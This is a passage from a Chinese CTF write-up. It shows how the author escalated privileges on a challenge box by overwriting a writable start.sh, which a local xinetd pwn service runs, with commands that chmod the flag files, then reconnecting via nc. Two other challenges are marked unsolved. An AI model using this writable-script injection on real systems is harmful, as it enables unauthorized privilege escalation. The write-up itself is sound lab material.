因为flag环境变量是在后面执行命令时被清空的,只对当前终端(对应pid27)有效
预期
ls -lh /etc/xinetd.d/
发现里面有个 pwnservice 有写入的权限,查看pwnservice(这一步跳了,直接用晨曦师傅的图)
注意到靶机里面有nc,8888端口上是个pwnserver,那么我们可以直接nc本地的8888端口
nc 127.0.0.1 8888
/home/ctfuser/start.sh: line 2: ./pwn: No such file or directory
说明这里是执行了 /home/ctfuser/start.sh
#/bin/bash
./pwn
注意到 start.sh 有写权限,也就是说我们可以尝试写入恶意命令,然后再次nc就可以改权限了
echo "#/bin/bash">start.sh
echo "chmod 777 /home/ctfuser/f*">>start.sh
nc 127.0.0.1 8888
ls -lh
cat flag
Always RCE First(Unsolved)
参考:https://forum.butian.net/article/513
有java不看(
NepRouter(Unsolved)
有二进制不看(